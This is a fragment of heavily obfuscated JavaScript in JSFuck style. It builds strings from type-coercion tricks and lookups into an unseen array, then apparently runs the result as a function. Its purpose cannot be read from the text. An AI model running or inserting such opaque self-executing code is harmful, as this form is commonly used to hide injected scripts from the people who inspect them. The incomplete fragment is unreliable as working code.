+$[28]+$[28]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+$[45]+$[28]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[35]+$[45]+$[28]+$[5]+$[34]+$[49]+$[33]+$[36]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[49]+$[9]+$[6]+$[50])();